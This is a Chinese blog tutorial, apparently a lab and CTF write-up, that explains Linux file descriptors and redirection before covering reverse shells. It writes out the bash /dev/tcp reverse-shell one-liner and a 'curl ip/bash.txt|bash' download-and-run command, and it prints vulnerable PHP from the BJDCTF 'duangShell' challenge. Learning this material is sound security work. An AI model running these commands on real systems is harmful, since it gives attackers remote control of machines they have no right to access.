关于反弹shell的一点杂记

前置知识:文件描述以及重定向

关于文件描述符:

linux下一切皆文件,文件描述符就是内核为了方便管理文件而给文件分配的数字,类似于c语言操作文件的文件指针,通过操作文件指针就可以达到操作文件的目的。

Linux启动的时候会打开三个文件描述符:

  1. 标准输入 standard input 0 (默认设备是键盘)
  2. 标准输出 standard output 1(默认设备是显示器,或者说终端)
  3. 错误输出 error output 2(默认设备也是显示器(终端))

再次强调一下,Linux下一切皆文件,启动Linux的时候会启动的输入输出设备,所以会生成对应的文件描述符0,1,2,之后再打开其他文件,文件描述符依次增加。

关于重定向:

参考文章:http://c.biancheng.net/view/5956.html

一条命令执行的时候会按照默认的情况进行绑定,比如执行命令的结果会输出到终端里,错误信息输出到终端里,它们会默认和文件描述符'1','2'绑定,但是有的时候,我们想让命令执行的结果输入到文件里,该怎么办?这时候就需要重定向。

两种重定向:

  • 输入重定向 <(<<)
  • 输出重定向 >(>>)

bash在解析指令的时候,是从左往右解析重定向的。

输入重定向

基本格式:[n]< file(n与<之间没有空格)

说明:将文件描述符n重定向到file文件中,以只读的方式打开文件,如果n缺省,则为0。

图1

两条命令的显示结果虽然相同,但是cat file是以键盘作为标准输入,读取了file文件的内容,而cat 0< file则是把标准输入重定向到了file文件中,以只读的方式打开文件,然后显示到终端上。

图2

之前说过,bash在会从左往右解释指令,所以bash会先执行0< file,将标准输入重定向到file文件中(只读方式打开文件),然后cat再次接受标准输入的时候,由于标准输入已经被重定向到了file文件中,所以会显示文件内容。

输出重定向

基本格式:[n]> file

说明:将文件描述符n重定向到file文件中,以只写的的方式打开,如果n缺省,则为1。

图3

1> file2,将标准输出重定向到file2文件中,所以执行第一条指令的时候看不到终端的回显,因为回显已经被写入了file2中,执行cat file2将回显输出。

标准输出和标准错误输出重定向

基本格式: &> file

说明:将标准输出和标准错误输出重定向到file文件中。

图4

和上一点一样,因为标准错误输出是默认是终端,所以执行bash在执行>& file2的时候会将标准错误重定向到file2文件中,file2文件中就写入了本次指令的错误信息。

关于文件描述符以及重定向,如果深入学习的话其实还有很多内容,上述知识仅仅是为了学习bash反弹shell的一点铺垫。


bash一句话反弹Shell

bash -i >& /dev/tcp/[ip]/[port] 0>&1

  • bash -i : 产生一个交互式的bash环境。
  • >& /dev/tcp/[ip]/[port] : 因为缺省了n,所以默认是1,即1>& /dev/tcp/[ip]/[port],将标准输出重定向到攻击机上,与建立一个tcp连接。
  • 0>1 : 将标准输入重定向到标准输出上,因为标准输出已经重定向到了攻击机上,所以标准输入也就重定向到了攻击机上。

这样一来,只有受害机上执行了bash一句话,它的标准输入和标准输出就全部被重定向到了攻击机上,在攻击上就获得了受害机的shell。

下面来模拟一下:

  • 攻击机:kali
  • 受害机:ubuntu
  1. kali下开启监听任意端口:
    图1
  2. ubuntu上执行bash一句话(ip为kali虚拟机的ip,port为kali开启监听的端口):
    图2
  3. kali虚拟机成功拿到ubuntu的shell:

curl反弹shell

只要攻击机开启了apache服务,并在网站目录下写入了一个带有bash一句话的文件,当受害机执行curl ip/带有bash一句话的文件|bash,就可以反弹shell。

用一道CTF题目来进行演示:[BJDCTF 2nd]duangShell

  1. 进入靶机,提示swp文件泄露,访问xxx/.index.php.swp进行下载,之后用vim -r 文件名来回复文件,拿到文件源码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}
  1. 很明显的RCE,过滤了一些关键字符,并且exec执行命令的结果是不会回显到浏览器里的,题目中也把echo过滤掉了,所以考虑反弹shell(我感觉题目是给了提示的,'duang'是不是就像一个球反弹时候的声音)。
  2. 因为buuoj的靶机无法访问外网,所以开个小号在Basic分区开一台靶机作为攻击机,然后之间ssh远程登录即可:
    图1
  3. 题目过滤了>号,所以无法之间利用bash一句话反弹,这时候就用curl进行反弹shell。小号开的靶机默认开启了apache服务,所以在网站根目录下写一个bash.txt,里面的内容为bash一句话:(在linux环境下,网站根目录的路径为/var/www/html,ip地址会自动映射这个路径)
    图2
  4. 攻击机开启监听8080端口:
    图3
  5. 让受害机执行curl ip/bash.txt|bash:
    图4
  6. 可以看到,成功拿到了题目靶机的shell:
    图5
  7. 之后找flag就可以:
    图6

(反弹shell就先学到这里,方法还有很多种,之后再补充)

posted @ 2020-06-06 00:54  泠涯  阅读(560)  评论(0编辑  收藏  举报